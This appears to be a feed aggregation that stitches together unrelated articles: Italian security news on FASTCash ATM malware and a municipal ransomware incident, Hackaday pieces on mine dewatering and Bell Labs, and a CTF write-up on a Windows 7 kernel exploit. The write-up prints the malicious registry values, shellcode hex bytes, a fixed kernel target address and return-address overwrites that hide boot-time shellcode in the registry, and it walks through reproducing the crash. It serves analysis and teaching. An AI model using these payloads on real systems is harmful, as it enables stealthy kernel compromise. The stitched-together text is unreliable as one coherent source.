Gli hacker nordcoreani utilizzano una nuova variante Linux del malware FASTCash per infettare i sistemi di trasferimento dei pagamenti degli istituti finanziari e il prelievo non autorizzato di contanti dagli sportelli bancomat.

Le varianti precedenti di FASTCash erano mirate ai sistemi Windows e IBM AIX (Unix), ma recentemente un rapporto del ricercatore di sicurezza HaxRob ha menzionato una versione Linux precedentemente sconosciuta del malware che prendeva di mira le distribuzioni Ubuntu 22.04 LTS.

Vale la pena notare che gli esperti hanno messo in guardia già nel 2018. All’epoca, questa attività era attribuita al gruppo di hacker nordcoreano Hidden Cobra.

È stato segnalato che FASTCash è stato utilizzato per svuotare gli sportelli bancomat in paesi dell’Asia e dell’Africa almeno dal 2016. Nel 2017, sono stati prelevati contanti dagli sportelli bancomat contemporaneamente in 30 paesi, e nel 2018 è stato registrato un altro incidente in cui gli hacker hanno svuotato gli sportelli bancomat in altri 23 paesi.

Nel 2020, lo US Cyber ​​​​Command ha portato rinnovata attenzione su questa minaccia, collegando la rinnovata attività a FASTCash 2.0 e al gruppo APT38 (Lazarus). Un anno dopo, tre cittadini nordcoreani furono accusati di essere coinvolti in questi programmi e responsabili del furto di oltre 1,3 miliardi di dollari da istituzioni finanziarie di tutto il mondo.

La variante di malware più recente individuata da HaxRob è apparsa per la prima volta su VirusTotal nel giugno 2023 e il ricercatore scrive che presenta somiglianze con le varianti precedenti per Windows e AIX. Il nuovo FASTCash si presenta come una libreria condivisa che viene inserita in un processo in esecuzione sul server utilizzando la chiamata di sistema ptrace e la collega alle funzioni di rete.

Gli switch attaccati sono intermediari che forniscono la comunicazione tra gli ATM, i terminali PoS e i sistemi centrali delle banche, instradando richieste e risposte alle transazioni. Il malware intercetta e manipola i messaggi di transazione ISO8583, utilizzati nel settore finanziario per elaborare carte di debito e di credito.

Nello specifico, FASTCash intercetta i messaggi relativi alle transazioni che sono state rifiutate a causa di fondi insufficienti sul conto del titolare della carta e sostituisce la risposta “rifiuta” con una risposta “approva“. Il messaggio modificato contiene anche un importo casuale compreso tra 12.000 e 30.000 lire turche (350-875 dollari) per autorizzare la transazione richiesta.

Una volta ricevuto nel sistema della banca il messaggio contenente i codici di approvazione (DE38, DE39) e l’importo (DE54), la banca approva la transazione e il money mule, lavorando in collaborazione con gli hacker, ritira i contanti dal bancomat e fugge.

Va notato che quando la versione Linux di FASTCash è apparsa su VirusTotal, non è stata rilevata dalle soluzioni di sicurezza, il che significa che il malware ha aggirato con successo la maggior parte dei meccanismi di sicurezza standard, consentendo agli hacker di eseguire le proprie operazioni senza interferenze.

L'articolo Gli Hacker Nordcoreani Svuotano gli ATM con FASTCash! Ubuntu e nel mirino! proviene da il blog della sicurezza informatica.

From space, the most striking feature of our Pale Blue Dot is exactly what makes it blue: all that water. About three-quarters of the globe is covered with liquid water, and our atmosphere is a thick gaseous soup laden with water vapor. Almost everywhere you look there’s water, and even where there’s no obvious surface water, chances are good that more water than you could use in a lifetime lies just below your feet, and accessing it could be as easy as an afternoon’s work with a shovel.

And therein lies the rub for those who delve into the Earth’s depths for the minerals and other resources we need to function as a society — if you dig deep enough, water is going to become a problem. The Earth’s crust holds something like 44 million cubic kilometers of largely hidden water, and it doesn’t take much to release it from the geological structures holding it back and restricting its flow. One simple mineshaft chasing a coal seam or a shaft dug in the wrong place, and suddenly all the hard-won workings are nothing but flooded holes in the ground. Add to that the enormous open-pit mines dotting the surface of the planet that resemble nothing so much as empty lakes waiting to fill back up with water if given a chance, and the scale of the problem water presents to mining operations becomes clear.

Dewatering mines is a complex engineering problem, one that intersects and overlaps multiple fields of expertise. Geotechnical engineers work alongside mining engineers, hydrogeologists, and environmental engineers to devise cost-effective ways to control the flow of water into mines, redirect it when they can, and remove it when there’s no alternative.

An Old Problem

You’d be forgiven for thinking that dewatering mines is just about building and installing big pumps; that’s pretty much where I was when I started researching this article in the wake of Hurricane Helene’s recent unwelcome visit to Appalachia and the potential destruction of the quartz mines at Spruce Pine, North Carolina. The mines there are the world’s single source for ultra-pure natural quartz, and flooding from the two feet (60 cm) of rain Helene dumped there threatened to shut down the semiconductor industry, thanks to the lack of natural quartz needed for the crucibles that turn raw silicon into high-purity wafers via the Czochralski process.

Luckily, the Spruce Pine mines somehow dodged that bullet, but the whole thing got me thinking about dewatering. I knew that pumping water out of mines went back at least to the beginning of the Industrial Revolution, with getting rid of water from coal mines being one of the driving forces behind the invention of the steam engine. Thomas Newcomen’s atmospheric engines were put to use pumping out coal mines in the West Midlands of England and tin mines in Cornwall as early as 1712.
Inefficient, but effective. A Newcomen atmospheric engine, similar to the ones that powered dewatering pumps for mines early in the Industrial Revolution.
Early dewatering efforts were a brute-force affair, with the massive rocking arms of remarkably inefficient steam engines pulling pistons up and down inside pipes, lifting water to the surface and dumping it onto the ground to drain into streams and lakes. The pumps only needed to move water faster than it flowed into the mine, and woe betide the engineer who let his engine lag behind or fail completely so that the mine flooded. To make things worse, the water that was ejected from these mines was often quite polluted, especially in geological formations that resulted in the acidification of floodwaters. Spilling toxic and acidic tailings water onto the surface is famously destructive to the environment, a topic of much less concern back then.

Current dewatering processes are much more mindful of the environmental impact of pumping contaminated water onto the surface, and are also sensitive to the incredible costs of running pumps and water treatment plants around the clock. These days, a lot more effort goes into controlling and managing water before it ever gets into the mine’s workings, and passive methods of dewatering are favored wherever possible. It also matters very much what kind of mine is being dewatered; while the basic processes are similar for open-pit versus underground mines, there are important differences.

Underground mines generally have the advantage of penetrating below the local water table. If the mine’s workings are sufficiently far below the groundwater layer and the rock between them is relatively impervious, the mine might be naturally dry. That’s rarely the case, though, as the shafts and ramps that pass through the water table generally liberate water that then flows into the lower parts of the mine, eventually flooding it to the level of the water table. Sometimes it’s possible to mitigate this by drilling wells into the local water table further up the hydraulic grade; the clean water pumped from these wells causes a “cone of depression” in the local water table, lowering it enough to reduce the flow of water into the well to a manageable level.

In other cases, it may be possible to create an impervious barrier between the porous water-bearing rocks and the mine’s workings. The idea here is to redirect the water, preferably so that it finds other hydraulic paths of less resistance rather than flooding into the workings. Grouting mine workings can use cementitious materials like so-called “shotcrete,” a thin concrete that can be sprayed onto rock surfaces. Other grouting jobs are best accomplished with polymeric materials like urethane resins. No matter what material is used, water is kept from entering the workings thanks to drainage pipes and adits built between the water table rocks and the inside of the applied impervious barrier. The redirected water collects in local sumps, where large electric pumps send it out of the mine for processing.

Big Digs

One interesting way to mitigate the flow of water into workings that penetrate the water table is by freezing it. Ground freezing has been used to stabilize wet soils on construction sites for years, with the technique gaining fame during the Boston “Big Dig” megaproject, which buried sections of Interstates 90 and 93 in the saturated fill that most of Boston is built upon. Ground freezing uses massive refrigeration plants to circulate chilled brine in pipes buried in the wet soil, freezing it solid. In mine dewatering, ground freezing is often used around a shaft or ramp passing through the water table. The drawback to ground freezing is the need to operate a refrigeration plant around the clock, but in some instances, it’s more cost-effective than grouting or other passive methods.

Open-pit mines present their own dewatering challenges. By definition, open-pit mines are near the surface and therefore closer to the local water table, which tends to be within the first few hundred meters from the surface. Open-pit mines also tend to disrupt much more surface area of the water table, as opposed to the numerous but relatively small penetrations caused by underground shafts and tunnels. There’s also the compounding problem that open-pit mines are exposed to the elements, meaning that precipitation into the mine and runoff from the local catchment area can introduce massive amounts of water, all of which has to be managed.
Open-pit uranium mine in Australia. Despite the arid climate, water is still a problem. The pit at the lowest level of the mine is the sump; water that accumulates there is either pumped out to water treatment plants and retention ponds on the surface, allowed to evaporate in situ, or re-infiltrated in the soil below the mine workings by infiltration wells. Source: Adobe Stock.
As with underground mining, dewatering open-pit mines starts with preventing as much water as possible from entering the workings in the first place. Surface berms and swales are often constructed around the perimeter of the mine to control and direct storm runoff into retention ponds, where water can evaporate naturally. Also, dewatering wells are often drilled vertically around the perimeter of the mine, and sometimes horizontally from the walls of the mine into the local water table, to intercept water flowing in the local water table before it enters the mine. Passive dewatering techniques are also used, such as filling cracks with grout or sealants.

The importance of removing water from open-pit mines can’t be overstated. Excess water is a real problem in terms of mine productivity; wet material is heavy, and the huge haulers that bring material up to the surface have to work harder to carry something the mine will make no profit from. Also, the pressure exerted by water in the soil tends to reduce the mechanical strength of the material, making it necessary to cut the walls at a shallower angle than in dry material. That results in removing far more overburden to get to the producing ore body, which might be the difference between a profitable mine and an expensive hole in the ground.

Underground Guitars

Monitoring pore pressure in the groundwater around a mine is one of the biggest parts of dewatering, so much so that mines will install far-flung networks of pressure sensors in and around their workings. The data gathered from these networks not only helps decide where to concentrate dewatering resources, but also serves to monitor how well those efforts are paying off, and to help redirect resources in case the hydrogeological environment changes over time, as it is likely to do.

The chief instrument used today for monitoring pore pressure in mining operations is the piezometer. From the name, one imagines these devices measure water pressure thanks to a piezoelectric transducer. And while there are piezometers that approach, the more common piezometers in use today are of the vibrating wire type. Vibrating wire piezometers, or VWPs, are similar to electric guitars. A thin steel wire is tensioned between a fixed point and a flexible diaphragm. The diaphragm is exposed to the environment, often through a filter to keep debris in the groundwater from getting packed against the diaphragm. The wire’s tension varies as the diaphragm is deflected by water pressure, which changes its resonant frequency. A coil of wire surrounding the steel wire serves to both excite it, like plucking a guitar string, and as a pickup for the resulting vibrations. The higher the pressure outside, the further the diaphragm deflects, which lowers the tension on the string and results in a lower “note” when excited.

VWPs are expected to operate under extreme conditions, so they’re built to last. Most are built from stainless steel cases that can survive inside deep boreholes, and some are even made to be driven into soil directly. Most VWPs include on-board thermistors to adjust pressure readings for the temperature of the water, as well as gas-discharge tubes to protect the sensors and the drivers they’re connected to from lightning strikes and other electrical discharges.

youtube.com/embed/PpMJL4yx4bg?…

hackaday.com/2024/10/17/mining…

It’s been said that the best way to stifle creativity by researchers is to demand that they produce immediately marketable technologies and products. This is also effectively the story of Bell Labs, originally founded as Bell Telephone Laboratories, Inc. in January 1925. As an integral part of AT&T and Western Electric, it enjoyed immense funding and owing to the stable financial situation of AT&T very little pressure to produce results. This led to the development of a wide range of technologies like the transistor, laser, photovoltaic cell, charge-coupled cell (CCD), Unix operating system and so on. After the break-up of AT&T, however, funding dried up and with it the discoveries that had once made Bell Labs such a famous entity. Which raises the question of what it would take to create a new Bell Labs?

As described in the article by [Brian Potter], one aspect of Bell Labs that made it so successful was that the researchers employed there could easily spend a few years tinkering on something that tickled their fancy, whether in the field of semiconductors, optics, metallurgy or something else entirely. There was some pressure to keep research focused on topics that might benefit the larger company, but that was about it, as the leadership knew that sometimes new technologies can take a few year or decades to come to fruition.

Bell Labs Nobel prizes: comparing year winner was hired vs year of discovery. (Credit: Brian Potter, Construction Physics)
All of this came to an rapid stop following the 1982 court-ordered breakup of AT&T. Despite initial optimism at Bell Labs that things could remain much the same, but over the following years Bell Labs would be split up repeatedly, with the 1996 spinning off of Western Electric into Lucent Technologies that took much of Bell Labs with it being the first of many big splits, ending for now with five pieces, with Nokia Bell Labs (formerly Lucent Bell Labs) and AT&T Labs being the largest two. To nobody’s surprise, among all these changes funding for fundamental and theoretical research effectively vanished.

A blue LED held up by its inventor, [Shuji Nakamura].The article then raises the question of whether Bell Labs was a historical fluke that could exist solely due to a number of historical coincidences, or that we could create a new ‘Bell Labs’ today. Theoretically billion-dollar companies such as Google and Apple are more than capable of doing such a thing, and to a certain extent they also are, funding a wide range of seemingly unrelated technologies and business endeavors.

Ultimately Bell Labs would seem to have been at least partially a product of unique historical circumstances, especially the highly specialized field of telecommunications before the same transistors and other technologies that Bell Labs invented would make such technological fields something that anyone could get started in. It’s possible that even without court order, AT&T would have found itself facing stiff competition by the 1990s.

The short answer to the original question of whether Bell Labs could be recreated today is thus a likely ‘no’, while the long answer would be ‘No, but we can create a Bell Labs suitable for today’s technology landscape’. Ultimately the idea of giving researchers leeway to tinker is one that is not only likely to get big returns, but passionate researchers will go out of their way to circumvent the system to work on this one thing that they are interested in. We saw this for example with [Shuji Nakamura], who cracked the way to make efficient blue LEDs, despite every effort by his employer to make his research unnecessarily difficult.

If there’s one thing that this world needs more of, it are researchers like Nakamura-san, and the freedom for them to pursue these passions. That, ultimately could be said to be the true recreation of Bell Labs.

hackaday.com/2024/10/17/what-w…

Il Comune di Sorso, un comune situato nella provincia di Sassari, è stato colpito da un attacco informatico che ha portato a un grave malfunzionamento del sistema. Questa intrusione ha messo fuori uso diversi servizi fondamentali, tra cui l’Anagrafe e il Protocollo, creando disagi significativi per i cittadini e l’amministrazione.

Le conseguenze di questo attacco si sono subito fatte sentire: numerosi servizi comunali sono stati interrotti, e i funzionari hanno dovuto attivare procedure di emergenza per contenere i danni.

La situazione è stata ulteriormente complicata dalla mancanza di accesso ai documenti e alle informazioni cruciali, lasciando molti cittadini senza risposte ai loro bisogni immediati. In questo contesto, l’amministrazione ha richiesto l’assistenza dei Carabinieri per indagare sull’incidente e identificare i responsabili.

Nel frattempo, per limitare i disagi, è stata attivata una nuova organizzazione di emergenza. Ancora oggi permangono le problematiche e funzionano solo i servizi essenziali.

Secondo le prime analisi degli esperti, il tipo di attacco potrebbe essere un ransomware, un malware noto per cifrare i dati e richiedere un pagamento per il loro ripristino. Questo genere di attacco ha visto un incremento esponenziale negli ultimi anni, colpendo istituzioni pubbliche e private in tutto il mondo. Gli specialisti della cybersecurity stanno ora valutando le dimensioni del danno e le modalità di recupero delle informazioni.

Per mitigare i rischi futuri, l’amministrazione comunale sta considerando l’implementazione di misure di sicurezza più rigorose. Ciò include l’adozione di sistemi di protezione avanzati e la formazione del personale su come prevenire e rispondere a simili minacce informatiche. Il Comune di Sorso non è solo nel fronteggiare questa crisi: molte altre amministrazioni locali stanno iniziando a riconoscere l’importanza di investire nella sicurezza informatica.

L'articolo Attacco Informatico al Comune di Sorso! Protocollo e Anagrafe Bloccati mentre i Carabinieri indagano proviene da il blog della sicurezza informatica.

On May 18, 2024, Kaspersky’s Global Research & Analysis Team (GReAT), with the help of its partners, held the qualifying stage of the SAS CTF, an international competition of cybersecurity experts held as part of the Security Analyst Summit conference. More than 800 teams from all over the world took part in the event, solving challenges based on real cases that Kaspersky GReAT encountered in its work, but a couple of challenges remained unsolved. One of those challenges was based on a security issue that allows kernel shellcode to be hidden in the system registry and executed during system boot on a fully updated Windows 7/Windows Server 2008 R2 due to an incomplete fix for the CVE-2010-4398 vulnerability. Although security updates and technical support for Windows 7 ended in early 2020, the fact that the released patch only partially addressed the issue was known long before that, and we saw this flaw exploited in a targeted attack in 2018. At the time, we notified Microsoft about the in-the-wild exploitation, but Microsoft refused to address it because using this technique requires attackers to have administrator privileges. In this blog post, we will provide technical details about this flaw and the SAS CTF task based on it.

Vulnerability details

There is a design flaw in older versions of Windows operating systems (Windows NT 4.0 through Windows 7) that allows a kernel shellcode to persist and be launched at system boot by writing specially crafted data to some of the many locations in the system registry.

Windows Kernel API has a function called RtlQueryRegistryValues that can be used to query multiple values from the registry subtree with a single call.
NTSYSAPI NTSTATUS RtlQueryRegistryValues(
[in] ULONG RelativeTo,
[in] PCWSTR Path,
[in, out] PRTL_QUERY_REGISTRY_TABLE QueryTable,
[in, optional] PVOID Context,
[in, optional] PVOID Environment
);

RtlQueryRegistryValues syntax

The values to be queried by this function are defined by the QueryTable parameter, which contains a pointer to a table consisting of _RTL_QUERY_REGISTRY_TABLE structures.
typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;

_RTL_QUERY_REGISTRY_TABLE structure definition

Each table entry defines the name of the value to query, its default type (e.g., REG_NONE, REG_BINARY, REG_DWORD, REG_SZ etc.; this is optional) and default data, the address of the buffer to store the value or the address of the callback function, and flags that control how to query this value.

One of the supported flags, RTL_QUERY_REGISTRY_DIRECT, causes RtlQueryRegistryValues ​​not to execute a callback function (pointed to by the entry’s QueryRoutine field), but to store the queried value directly to the provided buffer (pointed to by the entry’s EntryContext field).

While writing data directly to the provided buffer instead of executing a callback may be more convenient, it leads to unexpected consequences if the requested value in the registry is for some reason of an unexpected type. For instance, if the code expects a value of type REG_DWORD, which has a fixed size of four bytes, but receives a value of type REG_BINARY, which is variable in size, the value may not fit fully into the prepared buffer. As a result, if RtlQueryRegistryValues returns more data than the calling function expected, a buffer overflow occurs that can be easily exploited on Windows 7 and older systems because of the lack of stack cookies.

To address this issue, Microsoft has implemented and encouraged developers to use an additional flag, RTL_QUERY_REGISTRY_TYPECHECK, which is intended to be used in conjunction with the RTL_QUERY_REGISTRY_DIRECT flag to check that the type of the requested value matches the type expected by the caller.

Note from RtlQueryRegistryValues documentation

However, this is by no means a complete fix, and for Windows 7 Microsoft itself started using the new flag only where it was absolutely necessary to address possible privilege escalation vulnerabilities. As for the vulnerable registry/code paths that could be accessed with admin rights, they were not patched, giving attackers the opportunity to stealthily store and execute kernel shellcode.

In one of the attacks, we observed an APT actor using two DirectX drivers for exploitation – “dxgmms1.sys” and “dxgkrnl.sys” – but a quick look revealed about a dozen vulnerable drivers included in the Windows 7/Windows Server 2008 R2 base package.

Exploitation

To execute kernel shellcode, attackers exploit multiple stack buffer overflows in two drivers using the RtlQueryRegistryValues function. This is done in two stages.

In the first stage, attackers exploit the insecure use of the RtlQueryRegistryValues function in the “dxgmms1.sys” driver. The vulnerable code queries several registry values from the path “HKLM\SYSTEM\ControlSet001\Control\GraphicsDrivers\MemoryManager”, and making these registry entries bigger than expected results in several buffer overflows. Attackers can use this to write the shellcode to a fixed location in the kernel memory at the address 0xfffff78000000800, which is an address of the KUSER_SHARED_DATA structure + 0x800.

Exploitation of “dxgmms1.sys” driver

In the second stage, attackers exploit the insecure use of the RtlQueryRegistryValues function in the “dxgkrnl.sys” driver – the registry values ​​used by the vulnerable code are located at “HKLM\SYSTEM\ControlSet001\Control\GraphicsDrivers”. This allows attackers to overwrite the return address of one of the called functions with an address of 0xfffff78000000800, resulting in the execution of the shellcode written in the first stage of exploitation.

Exploitation of ” dxgkrnl.sys” driver

All registry values ​​used during exploitation are expected to be of type REG_DWORD, but the attackers have set them to malicious values ​​of type REG_SZ/REG_BINARY. Since the SYSTEM hive is explicitly trusted, the data type mismatch is ignored and this results in successful exploitation.

The SAS CTF challenge

The beginning

You are presented with a README.txt note and three other files:
README.txt SOFTWARE SYSTEM traffic.pcapng
The SOFTWARE and SYSTEM files are what they are supposed to be, and are the registry hives of a Windows system.
$ file *
README.txt: ASCII text
SOFTWARE: MS Windows registry file, NT/2000 or above
SYSTEM: MS Windows registry file, NT/2000 or above
traffic.pcapng: pcapng capture file - version 1.0
Now, our first goal would be to find the piece of registry that is causing the VM to crash. This can be done in several ways, such as trying to find a piece of executable code in the registry hives (there is a NOP sled at offset 0x92D675 in the SYSTEM hive). But let’s try to reproduce the crash instead.

Identifying the VM and the OS

We are going to use regipy to parse and dump the registry hives. By dumping the SYSTEM hive, we can easily recognize the VirtualBox devices:
$ regipy-dump -d SYSTEM | grep VBo
"subkey_name": "VBoxWddm",
"path": "\\ControlSet001\\services\\eventlog\\System\\VBoxWddm",
"subkey_name": "VBoxGuest",
"path": "\\ControlSet001\\services\\VBoxGuest",
"path": "\\ControlSet001\\services\\VBoxMouse\\DriverInfo",
"subkey_name": "VBoxMouse",
...
Just to be sure, we can even find the right version of the VirtualBox additions package, which is 6.1.46:
$ regipy-dump SOFTWARE -p '\Microsoft\Windows\CurrentVersion\Uninstall' |
grep racle
"subkey_name": "Oracle VM VirtualBox Guest Additions",
"path": "\\Oracle VM VirtualBox Guest Additions",
"value": "Oracle VM VirtualBox Guest Additions 6.1.46",
"value": "C:\\Program Files\\Oracle\\VirtualBox Guest
Additions\\uninst.exe",
"value": "Oracle Corporation",
We also can identify the exact Windows build to run, which turns out to be Windows 7 SP1 x64:
$ regipy-plugins-run -p winver_plugin -o output.txt SOFTWARE && cat output.txt
Loaded 52 plugins
INFO:regipy.plugins.software.winver:Started winver Plugin...
Finished: 1/52 plugins matched the hive type
{
"winver_plugin": {
"\\Microsoft\\Windows NT\\CurrentVersion": {
"last_write": "2024-05-13T23:45:33.125000+00:00",
"CurrentVersion": "6.1",
"CurrentBuild": "7601",
"InstallDate": "2024-05-13 05:14:05",
"RegisteredOrganization": 0,
"RegisteredOwner": "user",
"InstallationType": "Client",
"EditionID": "Enterprise",
"ProductName": "Windows 7 Enterprise",
"ProductId": "00392-918-5000002-85992",
"CurrentBuildNumber": "7601",
"BuildLab": "7601.win7sp1_gdr.130828-1532",
"BuildLabEx": "7601.18247.amd64fre.win7sp1_gdr.130828-1532",
"CSDVersion": "Service Pack 1"
}
}
Now let’s grab a Windows 7 SP1 VM or install a fresh one in a VirtualBox VM. While the VM is booting, let’s also build a timeline of the registry hive that we may need later:
$ regipy-dump -t -o timeline-system.txt SYSTEM
Now download your favorite Live CD (for example, a vanilla Ubuntu Desktop ISO that we’ll boot to transplant the registry hives into the Windows system).

Install the VirtualBox guest additions from the official ISO to match what was installed in the original system. The clues in the README note (video driver!), the list of installed drivers and the shimcache (try “regipy-plugins-run -p shimcache -o output.txt SYSTEM && cat output.txt”, it will mention running dxdiag.exe) suggest that the system should be configured with Direct3D support, and this is crucial to triggering the exploit.

Once installed, “dxdiag.exe” should show “Enabled” for Direct3D on the VM:

Set up the debugger

Before we continue, let’s turn on kernel debugging inside the VM. Since we know there should be a BSOD, we will need it. You can also do this later by backing up the original registry hives to boot into the system and run the proper commands.
bcdedit /debug on
bcdedit /bootdebug {current} on
bcdedit /dbgsettings serial debugport:*port number* baudrate:115200
We will also set up a second Windows VM with the Windows Debugger and connect it to our target VM using a pipe-based virtual COM port. Start WinDbg on the debugger system (“Kernel Debug”), reboot the VM and you should see the kernel debugger connect. If not, check the COM port connection between the machines. It is also possible to use the host machine to run the debugger.

Crash!

Once it is working, replace the SOFTWARE and SYSTEM hives. Back up the original files, copy the hives (drag and drop, or via a share) to the VM and reboot into a Live CD, mount the NTFS volume, then copy the hives to “mountpoint/Windows/System32/config/”. Reboot and you should get an infinite BSOD loop/connection to the debugger.

Without the debugger it looks like this:

With the debugger, WinDbg output looks like this:

Analyzing the crash

We need to investigate this crash. Now, we can either extract the crash dump and inspect it offline, or debug live with our debugger machine (host, or a second VM) – let’s continue with the latter course. Make sure you can download the correct symbols, set up the symbol path, and execute “.reload /f” in WinDbg to force the download.

By inspecting the addresses on the stack around the stack pointer we can find an address inside “dxgkrnl”:

Further on in the stack we see the return addresses from nt!ObCreateObject:

Now we have a choice: either analyze the vulnerability in dxgkrnl and dxgmms1 until we understand exactly what is happening, or take a more hacky route, guided by the task note (“I tried to fix the registry but now it bluescreens all the time”):

• check the memory around the crash pointer. At the address +0x800 from the crash site you can clearly see a shellcode that doesn’t belong to any module and can be analyzed;
• search for the crash pointer address in the registry, using the timeline we generated and looking for “recent” changes.
  $ grep -i fffff78000000000 timeline-system.txt

Nothing. Let’s reverse the byte order (it may be a binary string, little endian):
$ grep -i 0000000080f7ffff timeline-system.txt
2024-05-16
13:39:56.411698+00:00,\ControlSet001\Control\GraphicsDrivers,5,"[Value(name
='DxgKrnlVersion', value=8197, value_type='REG_DWORD', is_corrupted=False),
Value(name='UseXPModel', value=0, value_type='REG_DWORD',
is_corrupted=False), Value(name='TdrLevel',
value='00000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000080f7ffff',
value_type='REG_BINARY', is_corrupted=False), Value(name='TdrDdiDelay',
value='03000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000080f7ffff',
value_type='REG_BINARY', is_corrupted=False), Value(name='TdrDebugMode',
value='02000000000000000500000000000000030000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000080f7ffff', value_type='REG_BINARY', is_corrupted=False)]"
2024-05-16
13:41:27.599198+00:00,\ControlSet002\Control\GraphicsDrivers,5,"[Value(name
='DxgKrnlVersion', value=8197, value_type='REG_DWORD', is_corrupted=False),
Value(name='UseXPModel', value=0, value_type='REG_DWORD',
is_corrupted=False), Value(name='TdrLevel',
value='00000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000080f7ffff',
value_type='REG_BINARY', is_corrupted=False), Value(name='TdrDdiDelay',
value='03000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000080f7ffff',
value_type='REG_BINARY', is_corrupted=False), Value(name='TdrDebugMode',
value='02000000000000000500000000000000030000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000080f7ffff', value_type='REG_BINARY', is_corrupted=False)]"
Now there are three registry values that contain the crash address (“TdrDdiDelay”, “TdrDebugMode” and “TdrLevel”), and these *could* be controlling the return address of a dxgkrnl driver’s routine. Let’s see if the location of the shellcode can also be found in the registry:
$ grep -i 0008000080f7ffff timeline-system.txt
2024-05-16
12:30:09.856290+00:00,\ControlSet001\Control\GraphicsDrivers\MemoryManager,
6,"[Value(name='PinnedMemoryLimit',
value='9cffffff00000000000000000000000000', value_type='REG_BINARY',
is_corrupted=False), Value(name='PagesHistory',
value='00000000000000000000000004000000040000000000000038ffffff',
value_type='REG_BINARY', is_corrupted=False),
Value(name='NbDmaBufferLimitPerDevice',
value='000000020000000000000080000000000008000080f7ffff',
value_type='REG_BINARY', is_corrupted=False), Value(name='UseUnreset',
value='01000000000000000100000000000000010000000000000000000000000000000a00
0000000000000f0000000000000005000000000000002c01000000008000000010003c00000
000008000020000003c000000000000003c0000000100000058020000000400000200000000
00000200000000400000000000000000000000', value_type='REG_BINARY',
is_corrupted=False), Value(name='NbPagingHistoryRecords',
value='504889e141574156415541544883ec20e80d0000004883c420415c415d415e415fc3
48895c2408488974241048897c24185541544155415641574889e54883ec7065488b1425380
0000031c04989cc8d4828488d7dd0f3aa0fb77a06b80000ffffc1e7104821c78b420848c1e0
204809c70fb7022500f00000be000500004809', value_type='REG_SZ',
is_corrupted=False), Value(name='Control',
value='9d180bde5b394ac1244ebafbe47cf4fbf43309b5904beb0d6310dbbf7d574f317f52
a769b63bf326c24e397139d8b483349d6eb17aef6d4eb96ede7f7ed05231aa35d61ed118cf7
3f7b5146844f37dfb385dea883a3c70b48b14404a5a1a2544124d3ac3a634284ec34565f6a9
16e9de35cef1919d4cad6e6925e7f30ecadf83', value_type='REG_SZ',
is_corrupted=False)]"
2024-05-16
12:30:09.856290+00:00,\ControlSet002\Control\GraphicsDrivers\MemoryManager,
6,"[Value(name='PinnedMemoryLimit',
value='9cffffff00000000000000000000000000', value_type='REG_BINARY',
is_corrupted=False), Value(name='PagesHistory',
value='00000000000000000000000004000000040000000000000038ffffff',
value_type='REG_BINARY', is_corrupted=False),
Value(name='NbDmaBufferLimitPerDevice',
value='000000020000000000000080000000000008000080f7ffff',
value_type='REG_BINARY', is_corrupted=False), Value(name='UseUnreset',
value='01000000000000000100000000000000010000000000000000000000000000000a00
0000000000000f0000000000000005000000000000002c01000000008000000010003c00000
000008000020000003c000000000000003c0000000100000058020000000400000200000000
00000200000000400000000000000000000000', value_type='REG_BINARY',
is_corrupted=False), Value(name='NbPagingHistoryRecords',
value='504889e141574156415541544883ec20e80d0000004883c420415c415d415e415fc3
48895c2408488974241048897c24185541544155415641574889e54883ec7065488b1425380
0000031c04989cc8d4828488d7dd0f3aa0fb77a06b80000ffffc1e7104821c78b420848c1e0
204809c70fb7022500f00000be000500004809', value_type='REG_SZ',
is_corrupted=False), Value(name='Control',
value='9d180bde5b394ac1244ebafbe47cf4fbf43309b5904beb0d6310dbbf7d574f317f52
a769b63bf326c24e397139d8b483349d6eb17aef6d4eb96ede7f7ed05231aa35d61ed118cf7
3f7b5146844f37dfb385dea883a3c70b48b14404a5a1a2544124d3ac3a634284ec34565f6a9
16e9de35cef1919d4cad6e6925e7f30ecadf83', value_type='REG_SZ',
is_corrupted=False)]"
Indeed, the “NbDmaBufferLimitPerDevice” value contains exactly that address. We suggest actually analyzing the drivers and finding out where exactly these registry values come into action and control the creation of a UNICODE_STRING object that then leads to a memory copy to a fixed kernel address and then a return to that address.

Just to check this, let’s edit the registry values “TdrDdiDelay”, “TdrDebugMode” and “TdrLevel” in the key “\\ControlSet001\\Control\\GraphicsDrivers” and change the sequence “0000000080f7ffff” to “0008000080f7ffff”. This can be done, for example, by temporarily restoring the original “SYSTEM” hive (Live CD), booting the system, editing the “malicious” hive with regedit (“Load hive”) and then moving it back (Live CD).

Now we can set a breakpoint at the beginning of the shellcode and get a hit on reboot:

Dump the memory page and analyze it statically, or continue in the debugger to find out its purpose. Although you can tinker with the registry hive and transplant only parts of it to make the OS boot without any errors, it is also possible to continue the analysis statically, using the debugger for support (required).

The shellcode

Analyzing the shellcode from the beginning leads us to a function @0x717 that starts a system thread, the thread routine @0x269. API names are resolved by hashes, so we need to step through them in the debugger or resolve them using a script. The decompiled shellcode is shown below.

The two-QWORD array is filled with the two arguments of the “RealMain_717” routine and is then used by the thread routine: the bytes from this pointer are copied until a sequence of 0xC3, 0xCC, 0xCC is encountered. The loop extracts the bytes until the end of some function (pointed to by param_2 or RealMain_717):

The copied bytes are then modified (two DWORDs set to zero), and encrypted with the output of an LCG pre-seeded with the first DWORD of the code sequence, XORed with 0x150D.

The code then uses RtlQueryRegistryValues to read “CurrentControlSet\Control\GraphicsDrivers\MemoryManager”, value “Control”, and decrypts the registry value using the output of the LCG and the encrypted code sequence from the previous piece of code:

So decryption is only possible if the original byte sequence is known (the length of the key is unknown, and brute-forcing the LCG would not help). The address of the correct code sequence can be extracted from the debugger.

